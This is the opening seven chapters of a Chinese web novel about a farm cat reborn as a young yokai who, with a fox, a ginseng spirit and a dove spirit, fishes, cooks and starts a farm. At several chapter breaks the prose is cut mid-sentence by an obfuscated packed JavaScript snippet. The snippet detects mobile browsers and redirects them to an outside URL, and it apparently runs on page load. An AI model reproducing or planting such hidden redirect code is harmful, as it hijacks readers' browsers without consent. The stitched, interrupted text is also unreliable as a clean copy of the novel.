《生活不易,猫猫种地!》 1. 第 1 章 “咕噜噜~” 某个山洞里,忽然传出一道饥饿的腹鸣声。 干草窝中,一只瘦巴巴的白色小狐狸抬起头,舔了舔躺在身边的白底橘斑小猫。 腹鸣声就是从小猫肚子里传出来的。 唉。 知道挨饿滋味有多难受的小狐狸心酸的趴在窝窝里,其实她现在也饿得难受。 但这也是没办法的事。 小狐狸舔完小猫,又舔了舔自己的爪子,重新蜷缩成一团躺下。 睡吧睡吧,睡着了就不饿了。 她躺下后,小猫的胡须快速的抽动了几下。 衔蝉感觉有点不对劲。 她记得她刚刚扭着铲屎官开了一罐鱼肉罐头,吃得饱饱的,怎么这么快又饿了呢? 而且她感觉身上好沉,好像有什么东西压在身上,让她爪子都抬不起来。 肚子也十分饿。 衔蝉努力了一下,试图睁开双眼,起身看看现在究竟是怎么个情况。 但是没成功。 她浑身饿得发软,眼皮都沉重得好像灌了铅。 身上压着的一点重量也让她肚子好像更扁了一点。 总之哪哪都不舒服。 “唔......” 费了老鼻子劲,衔蝉才终于睁开了双眼。 玻璃球一样清澈猫儿眼睛圆溜溜的,金灿灿的。 金色的猫瞳在黑漆漆的山洞里扫视了一圈,然后视线落在了自己身旁。 嗯,狗? 不对啊!这是哪里来的白色小狗?! 她家铲屎官只养了她一个猫,并没有养狗啊! 村里倒是有很多狗子,但是那些狗子不是她们家的,而且全村的狗她都认识,并没有见过白色的小狗。 所以这个小白狗是哪里来的? 衔蝉支撑起上半身,轻轻推了推小白狗,小声问道:“喂,你是哪家的?” 话一出口,她就愣住了。 她怎么说出来的好像是字正腔圆的人话啊?! 不对劲! 哪哪都不对劲! 她明明是只猫啊! 虽然她的确听得懂人话没错,但是她可以肯定自己是没法说人话的! 所以现在到底是个什么情况啦? 衔蝉正疑惑呢,忽然感觉肚子上压着的重量一轻。 猫低头一看,一根白白胖胖的大萝卜忽然从她肚皮上蹦了起来。 “了不得了!小傻子猫会说话了!三姑!三姑!” 大白萝卜吱哇乱叫着从干草窝里跳出去,迈着三条萝卜“腿”狂奔出去。 缺了几片叶子的萝卜缨子一颤一颤的。 衔蝉:“??” 好迷惑,猫是不是在做梦。 不然为什么萝卜会跑,还会说人话啊?! 难道就像铲屎官说的那样,成精了吗?! 可是铲屎官说过,只有像她这么聪明的小猫才会成精,没听说过萝卜也能成精呀? 衔蝉一头雾水。 但紧接着更让猫吃惊的事情发生了。 “那个,请问你是谁?” 猫礼貌的问了一下看上去比较聪明的小白狗。 挨着她的小白狗先是愣了半晌,然后嗷的一声跳了起来。 “阿呆?!你会说话啦!你终于开智了吗?!” 小白狗兴奋得尾巴直摇:“我是你的好朋友,阿琅,胡琅!你不记得我了吗?!” 衔蝉头顶的问号都快形成实质了。 “......阿琅?” 小白狗使劲点头:“是我!你记起来了?!” 衔蝉摇头:“没有记起来。” 小白狗的尾巴瞬间垂了下去:“啊,阿呆你怎么这样子。我们明明是好朋友的。” 衔蝉小心翼翼:“我也不叫阿呆,我叫衔蝉。” “你,是不是认错猫了啊?” 胡琅:“......” 三秒钟后,她用和刚刚的萝卜一模一样的姿势狂奔了出去。 “真了不得了!阿呆真的开智了!她连名字都给自己起好了!三姑!三姑快来啊!” 山洞里顿时只剩下衔蝉一个猫,在干草窝里独自疑惑。 她现在有一肚子问题想要问。 可是,谁能解答一下她的问题呢? 这里到底是哪里?她铲屎官呢?会说话的萝卜和狗又是怎么回事?还有,“开智”又是怎么回事?三姑又是谁? 猫的脑子里被疑问填满,肚子里却空荡荡的。 衔蝉:啊,好饿。 为什么会这么饿? 她费劲的从窝里站起来,用发软的四肢支撑起身体,想去找点吃的再说。 不然猫今天迟早饿死在这! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279327|182482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么问题都先放一放吧,先填饱肚子最重要! 四肢打颤的挪到山洞洞口前,衔蝉还没来得及多看看山洞外的景象,饿得浑身发软的她就被一阵大风刮得向后栽去。 衔蝉:“......” 猫生为何如此艰难。 唉,铲屎官不知道去哪了。 快点来接一下可怜的猫猫吧,猫猫要饿死了! 被一阵风刮倒的小猫生无可恋的瘫在地上,整个猫都仿佛失去了所有力气和手段。 “咕咕咕!” 一声洪亮的鸽子叫声在洞外响起。 “阿呆?阿呆!你怎么了?没事吧?” 一只比大鹅还大的白鸽子收拢翅膀,口吐人言。 她站稳后,一根大白萝卜和一只白色小狐狸从她背上滑了下来,直奔衔蝉。 她俩一左一右的扶起软绵绵的猫,语气担忧:“三姑来了,你让她给你看看吧?” 衔蝉抬起头,看了一眼三姑。 猫当场瞳孔地震:好大!好大的鸽子!比村里的大鹅还大!而且她也会说人话哎! 真是奇了怪了,怎么一觉醒来所有的动物植物都会说人话了?! 她沉浸在惊讶中,一时之间都没开口。 白三姑连忙上前,用爪子抓起她的小猫爪,轻轻地捏了捏。 “嗯,好像没什么大问题。” 大鸽子精放下猫爪,温声问道:“阿呆,听说你终于开智了,还给自己起了新名字,那你还记得我么?” 衔蝉坐起来,垂头丧气:“不记得,你们是不是认错猫了啊,我真的不叫阿呆。” 白三姑却笑了:“你们都是我捡回来的孩子,我怎么会认错你。” “你之前一直在睡觉,喊也喊不醒,吃东西都需要喂,没记住我们,也算正常。” 她轻轻地用喙给小猫梳理了一下头毛:“以前的事情记不住也没关系,以后的事记住就好。” “我是白三姑,你也可以喊我姑姑。” 她扭头看向大白萝卜和白色小狐狸:“既然阿呆已经给自己取了新名字,以后咱们就叫她的新名字吧。” “衔蝉是吧?” 大鸽子赞叹:“真是个好名字,一听就很有文化。” “看来你真是个天赋异禀的小猫,以后说不定会超过我,成为咱们山上最有文化的妖。” 2. 第 2 章 “妖?!你们,都是妖?!”猫猫大为震惊! 白三姑笑着摇头:“不是你们,是我们。” 她用翅膀尖尖指了指自己,大白萝卜,白色小狐狸,最后再点了点衔蝉的脑门:“我们,都是开了智的妖。” 衔蝉:“!!” 猫震惊得想要倒吸一口凉气,但肚子又叫了一声,她马上软绵绵的又瘫了回去。 白三姑一拍脑袋:“啊,先不说了,衔蝉,来吃点东西吧。” 她不知道从哪里掏出一颗比鸡蛋略大的青皮蛋,用翅膀尖上的羽毛一分为二。 一颗蛋连壳带黄竖着被劈成均匀的两半。 一半递给了小狐狸。 小狐狸咽了咽口水,马上很珍惜的抱着蛋壳,伸出舌头舔舐蛋液。 一向不爱吃生鸡蛋的衔蝉看她吃得那么香,居然也有点犯馋。 然后下一秒,她面前就多了半颗剖开的蛋。 “想自己吃还是我喂你?” 白三姑眼神温和,语气耐心。 衔蝉道了一声谢,伸出猫爪,学着小狐狸的样子,捧着蛋壳大口大口舔舐蛋液。 半颗蛋下肚,胃里总算好受了点,不再饿得发疼。 但也没饱,反而胃口打开了,还想吃更多东西。 “谢谢三姑。” 吃完蛋,衔蝉并着前爪蹲好,认认真真跟三姑再次道谢。 大鸽子精咕咕咕的笑了起来。 “不用这么客气。”她亲昵用翅膀给小猫顺毛:“都是一家妖,不说两家话。” 衔蝉眨了眨眼睛。 猫想了想,决定直接问:“那个,三姑,我好像什么都不记得了,你能不能跟我说说啊?” “这里是哪里?你们,呃,我们是怎么认识的?为什么我们是一家?我们怎么会说人话?开智又是怎么一回事?” 面对猫一连串的问题,大鸽子没有一点不耐烦。 她挨个回答衔蝉:“这里是大岭山小南峰,东坡子洞。” “你,阿琅,都是我捡回来的孩子,三参她们是本就生长在附近的植物小妖。” “我们都没有亲属家眷,便一直一起结伴生活,当然就是一家妖了。” “会说人话,是因为我们都开了智。开了智的妖不仅可以说人话,以后法力更进一步了,还能化作人形。” “看,就像这样。” 说着,她摇身一变,竟当场变作一个白衣女子。 除了头顶还有一簇白色羽毛之外,简直跟真人一模一样! 衔蝉:哇!! 好神奇! 她好奇的围着白衣女子转了一圈,还嗅了嗅她的衣摆。 “你真的变成人了!”衔蝉莫名有点兴奋:“那我也能变成人吗?” 白衣女子笑着把不停的嗅闻自己的小猫抱到膝头,再伸手一捞,把小狐狸和白萝卜也一起抱上来。 “你们好好修炼,就可以化成人形啦。” 衔蝉眼睛亮晶晶的:“那要怎么修炼呢?” “这个嘛不太好说,每一个种族都有自己的修炼方式,每一个妖生来的天赋也各不相同,这个需要你们自己摸索。” “不过对我们妖来说,吸收天地灵气是一个通用的方法。” “嗯,也不止是妖,人或者别的精,鬼,怪,也可以通过吸收灵气来修炼。” “修炼出法力了,就可以做到很多事情。” 像说人话,化人形都算是基础的,要是有修得厉害的,据说移山填海呼风唤雨都不在话下。 衔蝉:“!!” 好厉害!想学! 白三姑摸了摸小猫脑勺:“你们猫族是怎么修炼的我不清楚,但是同为兽族,狐族的修炼法子,你应该也能学习一二。” “阿琅,以后你就带着衔蝉一起修炼吧,争取早日化作人形。” 小狐狸用力点头:“好的!我把我会的都交给衔蝉!以后等我们化成人形了,三姑你带我们下山去玩呀!” 白三姑点点头:“没问题。” 她把三个小妖放下,拍了拍衣摆:“好啦孩子们,姑姑也要去修炼了,你们自己也要努力哦。” 小狐狸和白萝卜纷纷朝她“挥手”告别:“好的,三姑再见!” “孩子们再见,有事再来我窝里找我。” 白三姑重新化作鹅一样大的鸽子,振翅飞远。 她走后,衔蝉跟小狐狸大眼瞪小眼。 衔蝉:“你居然不是狗子,是狐狸吗?!” 小狐狸气呼呼的睁圆了双眼:“我当然是狐狸啊!才不是狗!” 衔蝉:“......” 猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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衔蝉接过一根萝卜须须,大受震撼:“你居然是人参吗?我以为你是萝卜来着!” 三参一下子跳了起来:“你才是萝卜!你全家都是萝卜!” 3. 第 3 章 在一天之内接连认错了两个小妖,衔蝉惭愧极了。 “对不起!我不知道你是人参......我可能睡迷糊了,请不要跟我计较。” 很有素质的小猫低下头,尾巴绕到身前盖住并拢的双爪,道歉态度可谓是十分诚恳。 三参见状便也消气了:“那好吧,既然你都这么说了,本参就原谅你好了。” 她摇晃了一下萝卜缨子,然后好奇用一片叶子尖尖戳了戳衔蝉的猫头。 她感慨:“哎,阿呆,不是,衔蝉,你现在真的变得好聪明了,说话好有人味,不是小傻子猫了。” 忽然,三参用几条须须做出叉腰的姿势:“一定是上次我给你喂的叶子起效果了!你要再来一片吗?” 胖乎乎的白萝卜把缺了几片的萝卜缨子怼到衔蝉面前。 “喏,给你,你自己挑一片吧。” “阿琅也可以挑一片,我今天还可以长七片叶子!” 小狐狸高兴的伸爪:“谢谢三参!那我不客气啦!” 她小心翼翼的用指甲切断一根萝卜缨子,和刚刚三参给的萝卜须须一起塞进嘴里咀嚼起来。 衔蝉见状,也迟疑的薅了一片萝卜叶子。 学着小狐狸的样子,把萝卜缨子和须子一起塞嘴里嚼嚼嚼。 “怎么样?好吃吧?有没有感觉法力大涨?灵力十足?”三参顶着又缺了两片叶子的“脑袋”,期待的问道。 衔蝉很努力的感受了一下嘴里的萝卜缨子的味道。 嗯......怎么说呢,不太好吃。 猫是肉食动物,对大部分素食都不是很感兴趣。 萝卜缨子在猫嘴里吃起来,口感味道就很一般。 但是衔蝉没有说出来。 至于三参说的法力和灵力,衔蝉是一点都没感受到。 但旁边的小狐狸三两口吃完了萝卜缨子和萝卜须子,大声赞美道:“是好吃的!我感觉我浑身都更有力气了!很有用!谢谢三参!” 三参一下子站直了。 “哈!不用谢不用谢!有用就好!” 胖萝卜非常高兴,当场就挖了一个坑,把自己埋进去了。 “你们等等我,我再睡一觉,补充点灵力,等会我醒了再给你们长叶子吃呀!” 小狐狸见怪不怪的点点头,蹭了蹭萝卜缨子:“好的!三参你真好!” 三参嘿嘿嘿的笑了一声,然后就不动弹了。 衔蝉好奇的歪头:“三参她,埋在土里睡觉就可以补充灵力吗?” 胡琅点头:“嗯呐,她们植物小妖的修炼方式就是这样的,很厉害吧?” 衔蝉:“厉害!” “那我们要怎样修炼呢?” 小狐狸摇了摇尾巴:“嗯,我带你去修炼的地方教你吧!” 猫高兴极了:“好的!” 于是俩小妖一前一后的来到了一片林间空地上。 这里生长的树特别高,树荫面积也大,所以树下几乎没什么小树,只有一些落叶和矮草丛。 矮草丛里还时不时传来一些虫鸣声。 小狐狸熟门熟路的跳进草丛,低头嗅闻了一下,然后伸出爪子,开始刨土。 衔蝉蹲在树下,很认真的看着小狐狸刨了好一会的土。 半晌后,变得灰头土脸的小狐狸开心的叫了一声,从草丛里抬起头,嘴里居然叼着一只肥肥胖胖的虫子! 衔蝉:! 修炼,就是抓虫子吗? 小狐狸抖了抖脸上沾到的泥土,然后热情的跟衔蝉分享:“看!我抓到一条胖虫子!我们一起吃掉它吧!” 她一口将胖虫子咬成两段,并推了一段到衔蝉面前。 衔蝉瞳孔地震:“......” 猫不吃虫子! 尤其是这种肥肥的软体虫子! 小狐狸一口吞下自己那半截虫子,歪头看向衔蝉:“你怎么不吃呀?你不饿吗?” 她刚刚吃了半颗蛋,一片萝卜缨子一根萝卜须,但还是饿得难受,吃了半条虫子,又稍微好受了一丁点。 虫子虽然小,但它好歹也是难得的肉食,是她能找到的最合适的充饥食物了。 衔蝉:啊,生活这么艰难的吗? 小狐狸表示,对啊,就是这么艰难。 猫疑惑:“很饿的话,咱们不能去抓点猎物吃吗?比如山鸡,鱼之类的?还是说它们都成精了不能吃?” 小狐狸摇头:“那倒没有。” “山里成精的小妖很少的,没有成精的就是食物,可以抓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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4 章 面对猫的疑惑,小狐狸有点不好意思的舔了舔爪子。 “是啊,除了吃饱肚子之外,我暂时没有学会别的修炼方法。” 这山里只有她一个小狐狸,也没谁教她正儿八经的修炼路子,她是自己摸索总结出来的:吃饱了就有力气,灵力也会恢复一丁点。 所以她一直想办法多找吃的,努力让自己积攒多一点灵力。 可惜山里没什么合适的猎物,她又还小,根本找不到多少吃的。 “要不是三姑每天都下一个蛋给我们吃,我们俩早就饿死啦!”小狐狸说到三姑,眼睛就亮晶晶。 “三姑真的很好,是她把我们养活了的。” “但是她也很辛苦的,她自己还要修炼,生蛋也会消耗她的灵力,所以我就自己想办法多找点别的吃的,这样三姑就可以少为我们耗点灵力。” 猫震惊:“我们今天吃的蛋,是三姑下的?!” 小狐狸点点头。 猫快要石化掉:“那我们不是吃掉了三姑的孩子吗?!” 这不是恩将仇报了吗! 小狐狸摇头:“那没有,三姑说她不找雄鸽子,所以她的蛋都是孵不出小鸽子的,我们可以吃。” 虽然她也不是很懂鸽子下蛋的原理啦,但她很相信三姑,三姑说可以吃,她就吃了。 衔蝉坚强的用爪子合上自己的下巴。 “原来如此。” 吓她一跳,差点以为自己把三姑的孩子给吃掉了。 合上下巴后,猫举爪提议道:“那我们现在去抓鱼吧!如果我们能自己捕猎养活自己了,三姑养我们的压力就会小很多啦!” 小狐狸用力点头:“好呀好呀!走吧!我们去河边!” 既然衔蝉肯定自己能抓到鱼,那她看不上这半截虫子也是理所应当的事情。 小狐狸啊呜一口吞掉半截虫子,开开心心的带着衔蝉去河边。 很快,两个小妖就来到了一个水流不缓不急,河面不宽不窄的河边。 河里的水还挺清澈,站在河边就能看到水底的鹅卵石和水草,一些小鱼小虾螃蟹就藏在鹅卵石或者水草之间。 “就是这里啦!”小狐狸一脸期待的看向衔蝉。 猫站在河边,估算了一下在这条河里抓鱼的难度后,扑通一声跳进河里。 小狐狸大惊失色:“衔蝉!你怎么跳下去了?!你会游泳吗?!” 衔蝉从水里冒出一颗猫猫头:“别担心,我会游泳的啦!” 她打小就跟别的猫猫不一样,她一点都不讨厌水,也不怕水,一到夏天还喜欢主动去水里泡澡。 她的铲屎官都因此十分惊讶呢。 在村里的时候,她什么鱼塘小溪都游过,区区一条小河,完全不在话下的! 猫轻松的划动四肢,一个猛子扎进水里。 小狐狸都没来得及看清她的动作,她就叼了一条鱼在嘴里! 小狐狸的嘴巴渐渐张成O型:“衔蝉,你好厉害!” 她真的会抓鱼! 她真是个超厉害的猫!一开智就会这么多东西!不像她,只会挖虫子,唉...... 小狐狸一时有些羡慕衔蝉,一时又有些自卑。 衔蝉可不知道小狐狸在想什么,她利落的从水里游上岸,把一条大概十厘米长的小鱼放在小狐狸面前。 “喏!你看!鱼!” 她本来想抓一条大的,可惜河里的鱼都很小,这一条已经算是最大的了。 而且刚刚她一扑腾,把别的鱼都吓跑了,短时间内,这边是抓不到别的鱼了,只能先凑合着把这条鱼吃掉。 小狐狸看着活蹦乱跳的鱼,咽了咽口水。 “真的,要分给我一半吗?” 衔蝉:“当然啦!我们说好了要一起吃鱼的!” 小狐狸面露挣扎。 半晌后,她忍着口水,把鱼推给衔蝉。 “算,算了,还是你吃吧,这条鱼不大,分给我一半,你就没几口可以吃的了。” 猫一巴掌拍到地上:“说什么话呢!刚刚的虫子不比鱼还小?你不也分了我一半吗?” 小狐狸:“那怎么一样!而且你都没有吃那一半虫子......” 见小狐狸坚持不肯跟她分吃这条不大的鱼,猫忽然一拍脑袋。 “我有办法!咱们把这条鱼变多,不就够我们一起吃了吗!” 小狐狸咬住尾巴:“要怎么把鱼变多啊?” 用法力吗? 衔蝉一脸机灵相:“当然是煮成鱼汤啊!煮一大锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“衔蝉,我们好像摩擦不动。”操作失败好几次后,小狐狸的尾巴又蔫蔫的垂下来了。 因为她们都还不会化人形,爪爪抓不太稳木头,会打滑。 而且狐狸爪和猫爪其实都不太适合抓握,以及做一些别的精细操作。 所以她们折腾了半天,肉垫都要搓破皮了,也没擦出半点火星子,火当然也没生起来。 刚刚还胸有成竹的猫也有点麻爪了。 啊,忘了这茬了!节目里荒野求生的人类可以钻木取火,是因为人手比猫爪更方便! 相比之下,猫爪就没那么好使了! 不过猫并不是那种会轻言放弃的猫,她脑瓜子一动,又想到了新的办法。 “三姑会化人形,我们去找三姑帮忙可以吗?” 小狐狸的尾巴翘起来一点:“可以!那我们去找三姑吧!” 说着,两个小妖就要叼着鱼去找三姑。 不过还没走出几步,她们就看到了三姑正在朝这边飞。 巨大的鸽子展开翅膀的时候宛如一只天鹅,她在树林上空高高飞过,看得两个不会飞的小妖都睁圆了眼睛。 “三姑!三姑!”小狐狸在地上追着空中的大鸽子边跑边喊。 大鸽子听到小狐狸的呼唤声,连忙收拢翅膀俯冲下来。 她俯冲下来时掀起的风还是那么大,充满了让猫羡慕的力量感。 “三姑,你刚刚飞得好高呀。”衔蝉艳羡的小跑过去,嗅闻三姑的翅膀。 三姑咕咕咕的笑了几声:“我们鸟族就是越修炼就飞得越高的,所以我每天都会在山上山下飞很多遍。” 这就是她们鸟族的修炼方式,兽族是用不了的。 衔蝉闻言,心想,猫怎么就不能长翅膀呢,她也好想长翅膀在天上飞哦。 “好了孩子们,你们喊我有什么事吗?” 小狐狸马上叼来木头,眼巴巴的跟她说想要摩擦生热,点火煮鱼汤大家一起吃。 三姑有些惊讶:“你们还知道点火煮鱼汤?真聪明,是衔蝉想出来的办法吧?” 猫点点头。 三姑伸出翅膀摸了摸猫脑袋:“看来你真的很有天赋,刚开智就懂这么多事情,说不定还是大妖后裔哦。” 衔蝉眨眨眼:“大妖后裔?” 三姑:“是啊,听说大妖后裔都会有传承记忆,要么生下来就开智,要么一开智就会懂很多东西。” 她低头看向衔蝉:“就像你这样。” 虽然之前她一直昏昏沉沉的睡着喊都喊不醒,跟个无知无觉的小傻子一样,但她一夜之间就开了智,还无师自通了这么多东西。 猫挠挠头。 她其实不是大妖后裔啦,也没有什么传承记忆,她这些知识都是在铲屎官身边学会的。 不过这话好像不太好解释。 于是猫就含糊的跳过这个话题,请求三姑帮忙点火。 三姑欣然同意。 她变成人形,用衔蝉说的法子,来回钻动木头。 人手果然好用,不多时,一颗火星子从木头地下蹦出来,点燃了木屑。 猫凑过去吹了一下,一小缕火焰就燃起来了。 “好了!有火了!可以煮鱼汤了!” 衔蝉马上往河边走去,她要去把那个大大的空蚌壳捞起来做锅。 “我来吧,你们去捡点柴火。”三姑拦住衔蝉和小狐狸,让她们去做更简单的事情。 三妖分工合作,很快一个像模像样的火堆和蚌壳锅子就架起来了。 “鱼直接丢里面?还需要加什么吗?”三姑一边拿着木棍在蚌壳里搅拌,一边问衔蝉。 “还可以丢点素的东西进去,把汤煮浓一点!” 小狐狸举爪:“那我去找三参要叶子!” 说着她马上就开始行动,跑去找还在沉睡的胖萝卜了。 没一会,她和三参就一起回来了。 就这么小半天的工夫,三参头顶缺了的几片叶子就又重新长回来了。 她跑得比小狐狸还快,嗓门也大:“衔蝉衔蝉!听说你要煮鱼汤给我们吃!什么是鱼汤呀!” 衔蝉抬爪指指火堆上的大蚌壳:“就是这个。我们还想像你要几片叶子,一起煮进去,这样汤的分量就会多一点。” 三参正要一口答应,然后忽然嗷的一声跳了起来。 “好烫好烫!啊!我的腿!” 她从前没见过火,也不知道火的威力,所以刚刚一激动,差点跑进火堆里。 然后就被烫得吱哇乱叫。 一截萝卜腿果然也被火烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第 6 章 “好了!鱼汤熟了!”衔蝉开心极了:“我们一起吃!” 大蚌壳有两半,一半拿去煮鱼汤了,另一半就可以用来做碗分鱼汤。 三姑保持着人形,给大家分鱼汤。 她用木棍把鱼肉戳碎,煮软了的萝卜和萝卜缨子也一起挑出来分成几等份,再放在叶子上分给小妖们。 “先吃干的,等会汤晾了再喝。” 衔蝉和小狐狸早就忍不住了,顾不上烫嘴,啊呜啊呜的就吃了起来。 煮熟的鱼肉软软的,萝卜和萝卜缨子也入口即化,味道和口感都很不错。 更重要的是,它们吃起来都是热乎乎的,吞进胃里之后很舒服,极大的缓解了饥饿感。 “小心点,不要被鱼刺扎到。”猫一边吃,还一边很有经验的教朋友们吃鱼。 她可是个吃鱼达猫! 从没被刺卡过嗓子! 小狐狸囫囵吞下几块鱼肉,然后按照衔蝉教的法子,吐出几根鱼刺。 “这个,不能吃吗?”她很遗憾的看着自己吐出来的鱼刺。 虽然它煮熟后就变硬了有点费牙,但这好歹也是食物呀。 猫拦住小狐狸:“不能吃不能吃,这个卡嗓子了会有危险的!” 见小狐狸还是舍不得放弃这一丁点食物,她又道:“这些鱼刺鱼骨头也还有用,不会浪费的!” 小狐狸这才作罢。 三姑看着两个小妖,忽然笑了一声。 三参用须须捧着装鱼肉和自己的“头发和腿”的树叶子,还在纠结她该怎么吃。 她没有嘴啊! “衔蝉,你看三参没法吃东西,你有什么办法吗?”三姑眼含期待的看向衔蝉。 衔蝉还真有办法。 她蹬蹬蹬跑到旁边,挖了个坑,然后让三参把鱼肉萝卜一起丢进去,埋起来。 三参不明白,但照做。 衔蝉又在旁边不远处挖了一个坑:“好啦!三参,你进来蹲着,看看能不能吃到?” 三参继续照做。 一会儿后,她高兴嚷嚷起来:“我真的吃到了!衔蝉!你好聪明呀!你怎么知道这样可以让我吃到东西的?!” 连她自己都不知道她还可以这样进食! 但是她就是吃到了! 埋下的鱼肉和萝卜都仿佛融入了土里,让三参尝到了跟平时的泥土不一样的味道,以及一丝丝灵力。 “这比我睡觉修炼还快呀!”三参感慨。 她平时靠修炼攒灵力,要睡一整天,才能攒到这么点灵力呢! 可是今天她才刚“吃”了几口东西,就攒了平时一整天才能攒到的灵力! 胖萝卜现在对衔蝉佩服得五体投地:“你太厉害了!” 猫嘿嘿一笑。 问她为什么知道这样三参就能吃到东西?道理很简单的,就是给三参施了个肥呀! 她从小就跟着铲屎官在地里干农活,跟着学会了很多知识呢! 除了施肥,她还会叼水管浇水,除草,刨坑移植,修枝打顶,烧草木灰,堆肥沤肥......几乎是全套农事她都会! 农家的猫猫就是这么厉害! 三姑忍不住伸手摸了摸骄傲的猫猫头。 “衔蝉......你以后一定能干成大事。” 猫的胸膛顿时挺得更直了。 铲屎官也这么说过!她就是要干大事的猫!超厉害的! “那我以后要跟着衔蝉干大事!”三参嚷嚷起来。 小狐狸也跟着点头:“还有我!衔蝉,以后我都听你的!” 衔蝉豪气干云的一挥爪:“没问题!以后大家一起,把日子越过越好!” 猫握爪:“我还会很多东西的!我可以教大家开荒,种田,这样以后大家都不用再饿肚子!” 小狐狸瞬间眼睛爆亮:“真的吗!我要学!” 三参也挤过来:“什么是开荒,种田?我也要学!” 猫只觉得一股热血直冲脑门:“学!只要你们肯学,我把我会的都教给你们,我们自己动爪,丰衣足食!” “加我一个。” 三姑把自己的手也搭在了猫爪狐狸爪和萝卜腿上。 于是小南峰东坡子洞四巨头就此立下了要携手创业起家的豪言。 这一天,猫给大家定下了一个小目标:先让大家吃饱! 今天的鱼汤让大家都看到了另一个填饱肚子的途径:荤素搭配!吃熟食!还有往死里加水! 比起没有味道的白水,热乎乎的鱼汤可扛饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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7. 第 7 章 衔蝉带着大家,在树林里找了一块相对平整的草地。 草地周围都是参天大树,从枝叶缝隙漏出来的阳光也能斑斑点点的撒到草地上。 猫一挥爪:“这里光照不错,咱们就在这里开荒吧!” “好!咱们要怎么做呀?” 衔蝉:“先把所有的杂草都拔掉!要连根拔起哦,还有土里的石头,也要挖出来丢远一点!” 她先去给大家示范,用猫爪一刨,三两下就完整的刨出一颗带根的杂草。 这操作不难,很快大家都学会了。 保持着人形的大鸽子精用手,小狐狸用牙齿和爪子,没几下就能搞定一颗杂草。 胖萝卜要慢一点,只能用须须和萝卜缨子揪着草叶子往外拽,但多拽一会也能把草整个拽出来。 大家齐心协力,半天后就清理出一小块可以播种的菜地出来。 “衔蝉!你看看这样可以了吗?” 猫甩了甩爪子上沾到的泥土,跳到旁边的石头上认真看了一眼她们的开荒成功。 嗯,非常好。 所有的杂草和石头都被清理干净了,而且土壤也在这个过程中被翻了一遍,都省了犁地了。 “可以啦!接下来就刨出田垄,然后再把种子撒下去!” 猫继续指挥大家,没多久就把三参的萝卜籽均匀的撒在了整整齐齐的种子坑里,还从河边打了水,给种子浇了个透。 “呼!第一步就完成啦!” “接下来咱们要给种子做一些肥料!” “什么是肥料?要怎么做?” “肥料就是可以让作物的食物,可以让它们长得更好!做法也不难!” 猫一指杂草和今天吃剩下的鱼骨头:“用这些就可以做成肥料!” “把杂草拿去晒干,再烧成灰,就是草木灰了!鱼骨头要埋起来让它发酵,不过要离菜地远一点!” 猫把自己知道的知识跟大家倾囊相授:“沤肥的时候离菜地太近的话,会烧根的!” 她说的话,其实大家都没怎么听懂。 主要是因为猫用的很多词语大家听都没听过。 但大家听不懂,却照做。 所以没多久后,一个另外开辟的堆肥坑就做好了。 小狐狸一脸肉痛的把还散发着香味的鱼骨头埋进了土里。 衔蝉走过去,舔了小狐狸两口。 小狐狸有毛毛,舔着也不会很痛。 “别难过啦,这些鱼骨头很快就会变成肥料,然后我们就能做更多的鱼汤!” 她这么一说,小狐狸才感觉好受了一点。 “那我们什么时候才能吃饱呀?”她小声问道。 今天她终于吃了个半饱,胃里不再刺痛的感觉太舒服了,她再也不想挨饿了。 “很快的!”猫信心满满的把爪子搭到小狐狸肩头:“而且在作物长起来之前,我们还可以继续捉鱼吃!” 小狐狸看向衔蝉,满眼信任。 她重重的点头:“嗯!” 两个小妖忽然头顶一暖。 扭头一看,是三姑摸了摸她们的头。 三姑笑问衔蝉:“接下来还需要做什么吗?” 猫摇摇头:“暂时不需要啦!” 她转过头蹲在三姑面前:“接下来只要每天来给种子浇水,隔一段时间施肥就好!” 三姑听完,重新变回原型:“好,那我先送你们回窝吧,明天再来看菜地。” 三个小妖欢呼一声,接二连三的往大鸽子身上爬。 大鸽子背着三个小妖,展翅起飞。 她把她们送回了东坡子洞里。 